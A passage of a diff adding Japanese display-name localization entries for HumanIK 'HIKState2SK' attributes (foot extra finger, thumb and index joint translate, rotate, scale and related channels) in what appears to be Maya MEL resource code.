PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger1ROrder", "左足追加指 1 の回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger1SC", "左足追加指 1 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger1IS", "左足追加指 1 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger1ISx", "左足追加指 1 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger1ISy", "左足追加指 1 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger1ISz", "左足追加指 1 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger1PreR", "左足追加指 1 のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger1PreRx", "左足追加指 1 のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger1PreRy", "左足追加指 1 のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger1PreRz", "左足追加指 1 のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger1PostR", "左足追加指 1 のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger1PostRx", "左足追加指 1 のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger1PostRy", "左足追加指 1 のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger1PostRz", "左足追加指 1 のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger2T", "左足追加指 2 T" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger2Tx", "左足追加指 2 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger2Ty", "左足追加指 2 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger2Tz", "左足追加指 2 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger2R", "左足追加指 2 R" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger2Rx", "左足追加指 2 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger2Ry", "左足追加指 2 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger2Rz", "左足追加指 2 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger2S", "左足追加指 2 S" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger2Sx", "左足追加指 2 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger2Sy", "左足追加指 2 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger2Sz", "左足追加指 2 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger2PGX", "左足追加指 2 の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger2ROrder", "左足追加指 2 の回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger2SC", "左足追加指 2 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger2IS", "左足追加指 2 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger2ISx", "左足追加指 2 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger2ISy", "左足追加指 2 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger2ISz", "左足追加指 2 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger2PreR", "左足追加指 2 のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger2PreRx", "左足追加指 2 のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger2PreRy", "左足追加指 2 のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger2PreRz", "左足追加指 2 のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger2PostR", "左足追加指 2 のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger2PostRx", "左足追加指 2 のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger2PostRy", "左足追加指 2 のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger2PostRz", "左足追加指 2 のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger3T", "左足追加指 3 T" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger3Tx", "左足追加指 3 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger3Ty", "左足追加指 3 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger3Tz", "左足追加指 3 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger3R", "左足追加指 3 R" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger3Rx", "左足追加指 3 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger3Ry", "左足追加指 3 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger3Rz", "左足追加指 3 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger3S", "左足追加指 3 S" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger3Sx", "左足追加指 3 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger3Sy", "左足追加指 3 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger3Sz", "左足追加指 3 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger3PGX", "左足追加指 3 の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger3ROrder", "左足追加指 3 の回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger3SC", "左足追加指 3 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger3IS", "左足追加指 3 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger3ISx", "左足追加指 3 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger3ISy", "左足追加指 3 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger3ISz", "左足追加指 3 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger3PreR", "左足追加指 3 のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger3PreRx", "左足追加指 3 のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger3PreRy", "左足追加指 3 のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger3PreRz", "左足追加指 3 のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger3PostR", "左足追加指 3 のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger3PostRx", "左足追加指 3 のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger3PostRy", "左足追加指 3 のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger3PostRz", "左足追加指 3 のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger4T", "左足追加指 4 T" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger4Tx", "左足追加指 4 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger4Ty", "左足追加指 4 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger4Tz", "左足追加指 4 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger4R", "左足追加指 4 R" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger4Rx", "左足追加指 4 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger4Ry", "左足追加指 4 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger4Rz", "左足追加指 4 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger4S", "左足追加指 4 S" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger4Sx", "左足追加指 4 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger4Sy", "左足追加指 4 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger4Sz", "左足追加指 4 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger4PGX", "左足追加指 4 の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger4ROrder", "左足追加指 4 の回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger4SC", "左足追加指 4 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger4IS", "左足追加指 4 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger4ISx", "左足追加指 4 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger4ISy", "左足追加指 4 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger4ISz", "左足追加指 4 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger4PreR", "左足追加指 4 のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger4PreRx", "左足追加指 4 のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger4PreRy", "左足追加指 4 のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger4PreRz", "左足追加指 4 のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger4PostR", "左足追加指 4 のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger4PostRx", "左足追加指 4 のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger4PostRy", "左足追加指 4 のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootExtraFinger4PostRz", "左足追加指 4 のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb1T", "右足親指 1 T" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb1Tx", "右足親指 1 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb1Ty", "右足親指 1 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb1Tz", "右足親指 1 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb1R", "右足親指 1 R" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb1Rx", "右足親指 1 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb1Ry", "右足親指 1 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb1Rz", "右足親指 1 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb1S", "右足親指 1 S" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb1Sx", "右足親指 1 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb1Sy", "右足親指 1 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb1Sz", "右足親指 1 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb1PGX", "右足親指 1 の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb1ROrder", "右足親指 1 の回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb1SC", "右足親指 1 SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb1IS", "右足親指 1 IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb1ISx", "右足親指 1 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb1ISy", "右足親指 1 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb1ISz", "右足親指 1 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb1PreR", "右足親指 1 のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb1PreRx", "右足親指 1 のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb1PreRy", "右足親指 1 のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb1PreRz", "右足親指 1 のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb1PostR", "右足親指 1 のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb1PostRx", "右足親指 1 のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb1PostRy", "右足親指 1 のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb1PostRz", "右足親指 1 のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb2T", "右足親指 2 T" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb2Tx", "右足親指 2 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb2Ty", "右足親指 2 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb2Tz", "右足親指 2 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb2R", "右足親指 2 R" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb2Rx", "右足親指 2 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb2Ry", "右足親指 2 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb2Rz", "右足親指 2 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb2S", "右足親指 2 S" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb2Sx", "右足親指 2 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb2Sy", "右足親指 2 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb2Sz", "右足親指 2 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb2PGX", "右足親指 2 の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb2ROrder", "右足親指 2 の回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb2SC", "右足親指 2 SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb2IS", "右足親指 2 IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb2ISx", "右足親指 2 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb2ISy", "右足親指 2 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb2ISz", "右足親指 2 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb2PreR", "右足親指 2 のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb2PreRx", "右足親指 2 のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb2PreRy", "右足親指 2 のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb2PreRz", "右足親指 2 のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb2PostR", "右足親指 2 のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb2PostRx", "右足親指 2 のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb2PostRy", "右足親指 2 のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb2PostRz", "右足親指 2 のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb3T", "右足親指 3 T" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb3Tx", "右足親指 3 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb3Ty", "右足親指 3 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb3Tz", "右足親指 3 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb3R", "右足親指 3 R" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb3Rx", "右足親指 3 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb3Ry", "右足親指 3 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb3Rz", "右足親指 3 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb3S", "右足親指 3 S" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb3Sx", "右足親指 3 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb3Sy", "右足親指 3 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb3Sz", "右足親指 3 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb3PGX", "右足親指 3 の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb3ROrder", "右足親指 3 の回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb3SC", "右足親指 3 SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb3IS", "右足親指 3 IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb3ISx", "右足親指 3 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb3ISy", "右足親指 3 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb3ISz", "右足親指 3 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb3PreR", "右足親指 3 のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb3PreRx", "右足親指 3 のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb3PreRy", "右足親指 3 のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb3PreRz", "右足親指 3 のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb3PostR", "右足親指 3 のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb3PostRx", "右足親指 3 のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb3PostRy", "右足親指 3 のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb3PostRz", "右足親指 3 のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb4T", "右足親指 4 T" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb4Tx", "右足親指 4 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb4Ty", "右足親指 4 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb4Tz", "右足親指 4 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb4R", "右足親指 4 R" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb4Rx", "右足親指 4 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb4Ry", "右足親指 4 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb4Rz", "右足親指 4 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb4S", "右足親指 4 S" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb4Sx", "右足親指 4 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb4Sy", "右足親指 4 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb4Sz", "右足親指 4 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb4PGX", "右足親指 4 の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb4ROrder", "右足親指 4 の 回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb4SC", "右足親指 4 SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb4IS", "右足親指 4 IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb4ISx", "右足親指 4 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb4ISy", "右足親指 4 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb4ISz", "右足親指 4 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb4PreR", "右足親指 4 のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb4PreRx", "右足親指 4 のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb4PreRy", "右足親指 4 のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb4PreRz", "右足親指 4 のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb4PostR", "右足親指 4 のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb4PostRx", "右足親指 4 のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb4PostRy", "右足親指 4 のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootThumb4PostRz", "右足親指 4 のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex1T", "右足人差指 1 T" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex1Tx", "右足人差指 1 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex1Ty", "右足人差指 1 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex1Tz", "右足人差指 1 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex1R", "右足人差指 1 R" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex1Rx", "右足人差指 1 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex1Ry", "右足人差指 1 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex1Rz", "右足人差指 1 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex1S", "右足人差指 1 S" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex1Sx", "右足人差指 1 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex1Sy", "右足人差指 1 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex1Sz", "右足人差指 1 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex1PGX", "右足人差指 1 の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex1ROrder", "右足人差指 1 の回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex1SC", "右足人差指 1 SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex1IS", "右足人差指 1 IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex1ISx", "右足人差指 1 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex1ISy", "右足人差指 1 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex1ISz", "右足人差指 1 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex1PreR", "右足人差指 1 のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex1PreRx", "右足人差指 1 のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex1PreRy", "右足人差指 1 のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex1PreRz", "右足人差指 1 のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex1PostR", "右足人差指 1 のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex1PostRx", "右足人差指 1 のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex1PostRy", "右足人差指 1 のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex1PostRz", "右足人差指 1 のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex2T", "右足人差指 2 T" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex2Tx", "右足人差指 2 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex2Ty", "右足人差指 2 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex2Tz", "右足人差指 2 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex2R", "右足人差指 2 R" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex2Rx", "右足人差指 2 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex2Ry", "右足人差指 2 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex2Rz", "右足人差指 2 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex2S", "右足人差指 2 S" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex2Sx", "右足人差指 2 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex2Sy", "右足人差指 2 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex2Sz", "右足人差指 2 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex2PGX", "右足人差指 2 の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex2ROrder", "右足人差指 2 の回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex2SC", "右足人差指 2 SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex2IS", "右足人差指 2 IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex2ISx", "右足人差指 2 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex2ISy", "右足人差指 2 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex2ISz", "右足人差指 2 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex2PreR", "右足人差指 2 のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex2PreRx", "右足人差指 2 のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex2PreRy", "右足人差指 2 のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex2PreRz", "右足人差指 2 のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex2PostR", "右足人差指 2 のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex2PostRx", "右足人差指 2 のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex2PostRy", "右足人差指 2 のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex2PostRz", "右足人差指 2 のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex3T", "右足人差指 3 T" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex3Tx", "右足人差指 3 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex3Ty", "右足人差指 3 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex3Tz", "右足人差指 3 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex3R", "右足人差指 3 R" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex3Rx", "右足人差指 3 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex3Ry", "右足人差指 3 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex3Rz", "右足人差指 3 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex3S", "右足人差指 3 S" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex3Sx", "右足人差指 3 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex3Sy", "右足人差指 3 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex3Sz", "右足人差指 3 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex3PGX", "右足人差指 3 の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex3ROrder", "右足人差指 3 の回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex3SC", "右足人差指 3 SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex3IS", "右足人差指 3 IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex3ISx", "右足人差指 3 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex3ISy", "右足人差指 3 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex3ISz", "右足人差指 3 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex3PreR", "右足人差指 3 のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex3PreRx", "右足人差指 3 のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex3PreRy", "右足人差指 3 のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex3PreRz", "右足人差指 3 のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex3PostR", "右足人差指 3 のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex3PostRx", "右足人差指 3 のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex3PostRy", "右足人差指 3 のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex3PostRz", "右足人差指 3 のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex4T", "右足人差指 4 T" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex4Tx", "右足人差指 4 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex4Ty", "右足人差指 4 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex4Tz", "右足人差指 4 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex4R", "右足人差指 4 R" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex4Rx", "右足人差指 4 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex4Ry", "右足人差指 4 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex4Rz", "右足人差指 4 Rz" ); +setAttrNiceNameResource( "HIKState2SK", 